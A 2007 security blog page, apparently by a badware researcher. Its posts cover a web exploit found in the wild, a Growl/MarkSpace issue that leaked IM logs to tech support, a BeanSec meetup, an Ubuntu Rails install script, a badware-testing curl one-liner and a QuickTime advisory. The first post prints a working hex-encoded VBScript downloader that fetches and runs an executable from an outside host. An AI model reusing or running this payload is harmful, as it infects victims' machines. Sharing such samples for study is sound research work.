Zeroday 01100100011010010

web exploits using more sophisticated ciphers

Tuesday, July 31, 2007

found this one today:
S="6f6e206572726f7220726573756D65206E6578740d0a6375726C3D22687474703A2F2f78787476622e636E2F6172702f676F" S=S+"2e657865220D0A666e616D65313D22676F2e657865220D0a666E616d65323D22676F2e766273220D0A536574206466203D20" S=S+"646f63756D656e742E637265617465456C656d656e7428226f626A65637422290D0a64662E73657441747472696275746520" S=S+"22636c6173736964222C2022636C7369643A42443936433535362D363541332d313144302D393833412d3030433034464332" S=S+"39453336220d0a7374723d224d6963726F736F66742E584d4C48545450220D0a5365742078203D2064662e4372656174654F" S=S+"626A656374287374722c2222290D0a43313d2241646f220d0a43323D2264622e220D0a43333d22737472220d0a43343D2265" S=S+"616d220D0a737472313d43312643322643332643340d0a737472353D737472310D0a7365742053203d2064662e6372656174" S=S+"656f626a65637428737472352c2222290d0a532e74797065203d20310D0A737472363D22474554220d0A782e4f70656e2073" S=S+"7472362c206375726c2c2046616c73650D0a782E53656E640d0a73313D22536372697074220D0a73323D22696e672e220d0A" S=S+"73333d2246696c65220d0a73343D2253797374656D4f626a656374220d0a73303D73312b73322b73332b73340d0a73657420" S=S+"46203D2064662e6372656174656F626a6563742873302c2222290D0a73657420746D70203D20462e4765745370656369616C" S=S+"466f6C6465722832290d0A666e616d65313d20462E4275696c645061746828746D702C666e616d6531290d0A532e6f70656e" S=S+"0d0a532e777269746520782E726573706F6E7365426f64790D0a532e73617665746F66696c6520666E616d65312c320D0a53" S=S+"2E636C6f73650d0a666E616D65323D20462E4275696C645061746828746d702c666E616d6532290d0a536574207473203d20" S=S+"462e4f70656e5465787446696c6528666e616d65322C20322c2054727565290D0a74732e57726974654c696E652022536574" S=S+"205368656c6c203d204372656174654F626a656374282222577363726970742e5368656c6C222229220d0A73716c3D225368" S=S+"656c6c2E52756e282222222B666e616d65312b22222229220d0A74732e57726974654C696e652073716C0D0a74732e577269" S=S+"74654c696E652022736574205368656C6c3D4E6F7468696E67220d0A74732e636C6F73650D0A696620462E46696c65457869" S=S+"73747328666E616D6531293D74727565207468656e0D0a696620462e46696c6545786973747328666E616d6532293d747275" S=S+"65207468656e0d0A202020207368613D225368656c6c2e417070220d0a202020207368623d7368610d0a2020202073657420" S=S+"51203D2064662e6372656174656f626a656374287368622B226C69636174696f6E222C2222290D0A20202020512e5368656C" S=S+"6C4578656375746520666e616d65322C22222c22222c226f70656E222C300D0a656e642069660D0a656E642069660D0A"

Filed in Digital Warfare | Comments (0) | Permalink

Sending your IM logs to Tech Support

Tuesday, July 31, 2007

I ran into an awkward situation the other day while debugging an issue with my PDA synch software. I’m in a unique situation where I have an older Windows Mobile based PDA but I’m using a Powerbook for my main computing needs. The two don’t play so nicely together however certain software vendors like MarkSpace pick up the slack with middleware. “The Missing Sync” allows me to bridge this gap and synch the MS hardware with OS X software. I ran into an issue when I inadvertently upgraded to a non-free version (They moved on to 3.0 but I’m content with 2.5 I paid for last year) and while it was giving me errors I decided to try to open an automated tech support ticket. The dialog box that came up notified me that system information was being sent and there was a button to review what would be transmitted. Training with the Stopbadware group made me curious and I pressed the button.

What I saw was unsettling and I’m still trying to determine who is “at fault”. Amid the lines of system diagnostic info was my IM conversations for the last few days. Nothing incredibley personal but nothing that I really wanted the Tech Support Rep at Markspace to read. Definitely nothing that would help them solve any of my PDA synch issues. I realized that the tech support application simply pulled the entire console.log file from my computer which Growl (an increasingly popular notfication app) had been logging my IM conversations to. By default Growl will log every IM, sign on, etc that is shown to console.log.

Note that in this picture I have changed the default away from console.log.

I’m really not sure who should change here. Should Growl stop logging to console.log by default? Should MarkSpace stop pulling the entire console.log file? Who else is doing this as part of their tech support procedures? At the very least users of Growl should change this setting until the dust settles. I’m still in communication with MarkSpace and can say that they are responsive and now very aware of this issue.

Filed in spyware | Comments (0) | Permalink

Beansec turns 1!

Tuesday, July 17, 2007

This Wednesday will mark the 12th ever beansec! If you haven’t been to one yet or haven’t found time to attend then this is the month to make it.

BeanSec! is an informal meetup of information security professionals, researchers and academics in the Greater Boston area that meets the third Wednesday of each month.

Come get your grub on. Lots of good people show up. Really.

Unlike other meetings, you will not be expected to pay dues, “join up”, present a zero-day exploit, or defend your dissertation to attend.

the Enormous Room in Cambridge:
567 Mass Ave, Cambridge 02139

Filed in events, Non Sequiter, zeroday | Comments (0) | Permalink

Rails install script for Ubuntu (feisty fawn)

Tuesday, July 17, 2007

echo “Credit to Urban Puddle for the guide”
echo “this is the article in script form”
echo “you can cut and paste this entire article into a shell script and run it.”

sudo apt-get update sudo apt-get dist-upgrade


sudo apt-get install build-essential
sudo apt-get install ruby ri rdoc mysql-server libmysql-ruby ruby1.8-dev irb1.8 libdbd-mysql-perl libdbi-perl libmysql-ruby1.8 libmysqlclient15off libnet-daemon-perl libplrpc-perl libreadline-ruby1.8 libruby1.8 mysql-client-5.0 mysql-common mysql-server-5.0 rdoc1.8 ri1.8 ruby1.8
sudo wget http://rubyforge.org/frs/download.php/20...

tar -xzvf rubygems-0.9.4.tgz

cd rubygems-0.9.4

sudo ruby setup.rb
sudo gem install rails --include-dependencies
sudo apt-get install libpcre3 nginx libfcgi-dev libfcgi-ruby1.8 libfcgi0c2
sudo apt-get install libxml2 ucf php5-common php5-cgi php5-mysql phpmyadmin
sudo gem install mongrel

sudo gem install mongrel_cluster
echo "sudo cp /usr/lib/ruby/gems/1.8/gems/mongrel_cluster-0.2.1/resources/mongrel_cluster "

echo "/etc/init.d/mongrel_cluster"
echo "Next, add a path statement to mongrel_cluster file just above the CONF_DIR variable:"

echo "PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local:/usr/local/sbin:/usr/local/bin"

echo "Thanks to Russ Brooks for the above tip"
echo "Finally, let's modify permissions and make sure we boot mongrel on startup:"
echo "sudo chmod +x /etc/init.d/mongrel_cluster"

echo "sudo update-rc.d mongrel_cluster defaults"
echo "9. Congratulations, you've got everything installed! It's time to deploy. If you have an "

echo "existing rails application on another server, let's move it over to our root at /var/www/"

echo "sudo mv myrailsapp /var/www/"
echo "10. Modify your permissions of your app and phpmyadmin:"

echo "sudo chown -R www-data:www-data myrailsapp"

echo "sudo chown -R www-data:www-data phpmyadmin"
echo "11. Setup the Mongrel Cluster (source). This will get us a group of 3 mongrel clusters "

echo "running on port 8000. From within your myrailsapp/config folder, "

echo "type: sudo mongrel_rails"

echo "cluster::configure -e production \ -p 8000 -N 3 -c /var/www/apps/myrailsapp -a 127.0.0.1 \ "

echo "--user mongrel --group mongrel"
echo "echo "Now let's create a symlink to that file from within /etc where all our configs live:"

echo "sudo mkdir /etc/mongrel_cluster"

echo "cd /etc/mongrel_cluster/"

echo "sudo ln -s /var/www/myrailsapp/config/mongrel_cluster.yml"
echo "You can download a sample mongrel_cluster file HERE. In any case, it's a good idea to "

echo "download it and cross reference it to what the above command produced."
echo "12. Next we're going to put a script into /var/www/phpmyadmin folder "

echo "to spawn fastcgi on "

echo "port 8888. Make sure you give it execute permissions using"

echo " sudo chmod +x fastcgi_script"
echo "Download the script here. Inspiration for this script came from Alexey N. Kovyrin. It has "

echo "been modified only for Ubuntu's PHP path. Don't forget to put it into "

echo "/var/www/phpmyadmin"
echo "13. We're *almost* done. Next step is to configure Nginx. Here's a sample nginx.conf file"

echo "for your /etc/nginx/ folder. It's set up to handle one rails app and phpmyadmin. Adding "

echo "additional servers just means more server blocks."
echo "14. Now that we've got everything set up, let's turn this sucker on!"

echo "Step 1: PHP: . /var/www/phpmyadmin/fastcgi_script"

echo "Step 2: Mongrel: /etc/init.d/mongrel_cluster start"

echo "Step 3: Nginx: /etc/init.d/nginx/ start"
echo "References:"

echo " * There's lots of great documentation for Mongrel here." echo " * There's an entire wiki devoted to Nginx in English" echo " * Ezra Zygmuntowicz is the man!" echo " * Russ Brooks has a great HowTo as well"

Filed in Interesting Tech | Comments (0) | Permalink

Simple Shell Script for Testing Badware

Thursday, July 12, 2007

day:~ zero$ cat fake_ie.sh curl -A "Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)" $1 | less

Filed in Digital Warfare, Non Sequiter | Comments (0) | Permalink

New Critical Quicktime Vulnerabilities Out

Wednesday, July 11, 2007

Just received word that new vulnerabilities exist for Quicktime which can cause infection by simply browsing a website. Don’t let the mitigating circumstances fool you. With the huge number of websites break ins and subsequent iframe injections the chances of a site infecting you is significantly high. An attacker simply doesn’t need to “entice a user” anymore.

Below is the actual text from the Apple advisory:

QuickTime 7.2

CVE-ID: CVE-2007-2295